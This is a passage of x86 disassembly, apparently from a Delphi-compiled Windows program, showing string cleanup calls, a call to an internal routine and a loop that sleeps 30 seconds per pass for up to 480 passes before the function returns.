mov dword [ebp - 0x14c], edx
lea ecx, [ebp - 0x14c]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea eax, [ebp - 0x14c]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x150]
call fcn.00497ebc
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x154], eax
lea edx, [ebp - 0x150]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x154]
pop eax
call fcn.00498058
lea eax, [ebp - 0x154]
xor edx, edx
mov dword [ebp - 0x15c], edx
lea ecx, [ebp - 0x15c]
inc dword [ebx + 0x1c]
pop edx
call fcn.00498058
lea edx, [ebp - 0x15c]
lea eax, [ebp - 4]
call fcn.00498030
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x15c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.00498000
cmp dword [ebp - 4], 0
je 0x40ddb4
mov ecx, dword [ebp - 4]
jmp 0x40ddb6
mov ecx, edi
push ecx
call fcn.00426980
pop ecx
push 0x7530
call sub.KERNEL32.DLL_Sleep
inc dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], 0x1e0
jbe 0x40ca46
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00498000
dec dword [ebx + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00498000
mov ecx, dword [ebx]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret